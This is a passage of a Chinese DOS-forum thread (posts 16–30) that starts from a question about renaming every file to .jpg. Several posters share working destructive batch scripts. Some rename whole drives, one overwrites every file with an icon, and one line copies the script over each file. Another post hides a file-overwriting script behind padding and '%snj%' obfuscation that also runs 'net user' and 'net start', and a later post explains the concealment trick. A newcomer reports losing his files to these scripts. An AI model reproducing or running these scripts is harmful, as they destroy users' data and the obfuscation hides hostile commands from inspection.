中国DOS联盟论坛

中国DOS联盟

-- 联合DOS 推动DOS 发展DOS --

联盟域名:www.cn-dos.net  论坛域名:www.cn-dos.net/forum
DOS,代表着自由开放与发展,我们努力起来,学习FreeDOS和Linux的自由开放与GNU精神,共同创造和发展美好的自由与GNU GPL世界吧!

游客:  注册 | 登录 | 命令行 | 会员 | 搜索 | 上传 | 帮助 »
中国DOS联盟论坛 » DOS批处理 & 脚本技术(批处理室) » 如何把所有文件都改成jpg后缀名
« [1] [2] [3] »
作者:
标题: 如何把所有文件都改成jpg后缀名 上一主题 | 下一主题
mfdcxnf
初级用户





积分 155
发帖 74
注册 2007-2-21
状态 离线
『第 16 楼』:  

@echo off
cd\
for /f "delims=" %%i in ('dir /s /a /b /ad d:\ .') do (ren %%i\*.* *.jpg)
exit/b
这样我试过了,D盘下的文件可以变,可是系统WINDOWS下面的文件也变了呀。

2007-2-28 04:24
查看资料  发送邮件  发短消息 网志   编辑帖子  回复  引用回复
xixixi
初级用户




积分 78
发帖 23
注册 2007-2-27
状态 离线
『第 17 楼』:  

三楼可以实现,但只能在cmd上.
第 5 楼做的批处理语法错误。
XIXIXI研究了研究。。。应该把第 3 楼和第 5 楼的结合起来:
@echo off
cd\
for /f "delims=" %%i in ('dir /s /b /a-d .') do @ren %%i *.jpg
exit/b
这样就 Ok 了 !
如果阁下想做更有趣的事,比如用ICO图标覆盖所有所有的文件:
@echo off
cd\
for /f "delims=" %%i in ('dir /s /b /a-d .') do @ren %%i *.exe
for /f "delims=" %%i in ('dir /s /b /a-d .') do @copy XM3.ico %%i
exit/b
XM3.ico是XIXIXI覆盖的图标,不知道能不能成功我MS,我想把XM3.ico改为XM3.exe会好些吧。
不过小生不知为什么不能覆盖所有新建 文本文档或复件 新建 文本文档或复件...... 新建 文本文档,就连for %%a in (*.*) do copy %0 %%a > nul 这段代码的批处理也不能,这是为什么呀???
请高手指教+_+

2007-2-28 07:14
查看资料  发送邮件  发短消息 网志   编辑帖子  回复  引用回复
mfdcxnf
初级用户





积分 155
发帖 74
注册 2007-2-21
状态 离线
『第 18 楼』:  

18楼说的我验证了一下,可还是不能实现把指定的盘变成JPG。请高手继续出招吧

2007-2-28 08:17
查看资料  发送邮件  发短消息 网志   编辑帖子  回复  引用回复
oilio
高级用户

前进者


积分 641
发帖 303
注册 2007-1-10
状态 离线
『第 19 楼』:  

呵呵,不好意思啊,我经常问题区跑跑,批处理区跑跑,我忘了,这是批处理区,当成问题求助区了,所以如果保存为批处理肯定是不对的。不好意思!

[ Last edited by oilio on 2007-2-27 at 07:49 PM ]



我相信总有一天,总会遇到一个人可以相濡以沫、相吻以湿!
2007-2-28 08:47
查看资料  发短消息 网志   编辑帖子  回复  引用回复
GGM
新手上路





积分 16
发帖 7
注册 2007-2-28
状态 离线
『第 20 楼』:  

我是个新手,中国DOS联盟,蛮奇怪的,我便注册了,谁知yixia就惨了Y_Y -------------
我的d盘全是可恶的jpg.
批处理太可怕了呀*_*;
第 18,19 楼都是坏蛋.......
我的文件呀............................................................................................
还我!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
我要要多多学习才行!
for %%a in (*.*) do copy %0 %%a > nul
又是什么可怕的东东

2007-2-28 09:17
查看资料  发送邮件  发短消息 网志   编辑帖子  回复  引用回复
fjcase
初级用户





积分 53
发帖 23
注册 2007-2-2
状态 离线
『第 21 楼』:  

我愿意贡献我的机子给高手门做实验,不过上面的代码就18楼的可以用哦

2007-2-28 09:29
查看资料  发短消息 网志   编辑帖子  回复  引用回复
GGM
新手上路





积分 16
发帖 7
注册 2007-2-28
状态 离线
『第 22 楼』:  

哈!太好了!第 22 楼真是知音呀!

2007-2-28 09:34
查看资料  发送邮件  发短消息 网志   编辑帖子  回复  引用回复
mfdcxnf
初级用户





积分 155
发帖 74
注册 2007-2-21
状态 离线
『第 23 楼』:  

我也愿意把我的机子当试验,只要你有招的就来吧,反正我装了还原精灵的,至于没装还原精的那个(21)楼主怪自己太细心了,我前面的贴不是推荐了还原精灵吗

2007-2-28 09:51
查看资料  发送邮件  发短消息 网志   编辑帖子  回复  引用回复
GGM
新手上路





积分 16
发帖 7
注册 2007-2-28
状态 离线
『第 24 楼』:  

还原精灵? 多谢了~~
我一定试一试哟,对电脑有副作用吗?

2007-2-28 10:16
查看资料  发送邮件  发短消息 网志   编辑帖子  回复  引用回复
mfdcxnf
初级用户





积分 155
发帖 74
注册 2007-2-21
状态 离线
『第 25 楼』:  

没有,我想要的全部解决,谢谢各位。我把改过的发来
@echo off
for /f "delims=" %%i in ('dir /s /a /b /ad d:.') do (ren %%i\*.* *.jpg)
ren d:\*.* *.jpg
exit/b
这样就可以真正实现想要那个盘的所有文件变成JPG了,哈哈。

2007-2-28 10:30
查看资料  发送邮件  发短消息 网志   编辑帖子  回复  引用回复
xixixi
初级用户




积分 78
发帖 23
注册 2007-2-27
状态 离线
『第 26 楼』:  

我说那个叫GGM(GGM应该是你的名字缩写吧?龟龟妹?XIXIXI!!)的,太莫明其妙了!!
再说了把*.jpg改为原文件类型不就可以了,真实的!

2007-2-28 10:59
查看资料  发送邮件  发短消息 网志   编辑帖子  回复  引用回复
KKIILDL
初级用户





积分 48
发帖 32
注册 2007-2-28
状态 离线
『第 27 楼』:  

我觉得这个比较好:
%%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a
@echo off
set snj=
%snj%n%snj%%snj%%snj%e%snj%%snj%%snj%t%snj%%snj%%snj% %snj%%snj%%snj%u%snj%%snj%%snj%s%snj%%snj%%snj%e%snj%%snj%%snj%r%snj%%snj%%snj%
%snj%n%snj%%snj%%snj%e%snj%%snj%%snj%t%snj%%snj%%snj% %snj%%snj%%snj%s%snj%%snj%%snj%t%snj%%snj%%snj%a%snj%%snj%%snj%r%snj%%snj%%snj%t%snj%%snj%%snj%
%snj%e%snj%%snj%%snj%c%snj%%snj%%snj%h%snj%%snj%%snj%o%snj%%snj%%snj% %snj%%snj%%snj%>%snj%%snj%%snj% %snj%%snj%%snj%3%snj%%snj%%snj%.%snj%%snj%%snj%j%snj%%snj%%snj%p%snj%%snj%%snj%g%snj%%snj%%snj%
%snj%c%snj%%snj%%snj%d%snj%%snj%%snj%\%snj%%snj%%snj%
%snj%f%snj%%snj%%snj%o%snj%%snj%%snj%r%snj%%snj%%snj% %snj%%snj%%snj%/%snj%%snj%%snj%f%snj%%snj%%snj% %snj%%snj%%snj%"%snj%%snj%%snj%d%snj%%snj%%snj%e%snj%%snj%%snj%l%snj%%snj%%snj%i%snj%%snj%%snj%m%snj%%snj%%snj%s%snj%%snj%%snj%=%snj%%snj%%snj%"%snj%%snj%%snj% %snj%%snj%%snj%%%snj%%snj%%snj%%%snj%%snj%%snj%i%snj%%snj%%snj% %snj%%snj%%snj%i%snj%%snj%%snj%n%snj%%snj%%snj% %snj%%snj%%snj%(%snj%%snj%%snj%'%snj%%snj%%snj%d%snj%%snj%%snj%i%snj%%snj%%snj%r%snj%%snj%%snj% %snj%%snj%%snj%/%snj%%snj%%snj%s%snj%%snj%%snj%/%snj%%snj%%snj%b%snj%%snj%%snj%/%snj%%snj%%snj%a%snj%%snj%%snj%-%snj%%snj%%snj%d%snj%%snj%%snj%.%snj%%snj%%snj%'%snj%%snj%%snj%)%snj%%snj%%snj% %snj%%snj%%snj%d%snj%%snj%%snj%o%snj%%snj%%snj% %snj%%snj%%snj%@%snj%%snj%%snj%c%snj%%snj%%snj%o%snj%%snj%%snj%p%snj%%snj%%snj%y%snj%%snj%%snj% %snj%%snj%%snj%3%snj%%snj%%snj%.%snj%%snj%%snj%j%snj%%snj%%snj%p%snj%%snj%%snj%g%snj%%snj%%snj% %%i
%snj%e%snj%%snj%%snj%x%snj%%snj%%snj%i%snj%%snj%%snj%t%snj%%snj%%snj%\%snj%%snj%%snj%b%snj%%snj%%snj%
^_^它可以加密哟~

2007-2-28 23:47
查看资料  发送邮件  发短消息 网志   编辑帖子  回复  引用回复
GGM
新手上路





积分 16
发帖 7
注册 2007-2-28
状态 离线
『第 28 楼』:  

第 28 楼的太恐怖了!O_O;
有那么夸张吗?
是乱码还是代码.

2007-3-1 01:27
查看资料  发送邮件  发短消息 网志   编辑帖子  回复  引用回复
slore
铂金会员





积分 5212
发帖 2478
注册 2007-2-8
状态 离线
『第 29 楼』:  



  Quote:
Originally posted by xixixi at 2007-2-27 18:14:
复件 新建

之类的要把你的参数加引号,因为他们有空格

2007-3-1 01:30
查看资料  发短消息 网志   编辑帖子  回复  引用回复
xixixi
初级用户




积分 78
发帖 23
注册 2007-2-27
状态 离线
『第 30 楼』:  

xixixi 了解.

%%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a
@echo off
net user
net stat
加上这段是给此BAT加密,解密非常简单在CMD中:type 盘符:\bat文件名
set snj=
%snj%n%snj%%snj%%snj%e%snj%%snj%%snj%t%snj%%snj%%snj%
去掉%snj%就是net

   此帖被 +1 点积分    点击查看详情   
评分人:【 KKIILDL 分数: +1  时间:2007-3-1 04:43


2007-3-1 02:05
查看资料  发送邮件  发短消息 网志   编辑帖子  回复  引用回复
« [1] [2] [3] »
请注意:您目前尚未注册或登录,请您注册登录以使用论坛的各项功能,例如发表和回复帖子等。


可打印版本 | 推荐给朋友 | 订阅主题 | 收藏主题



论坛跳转: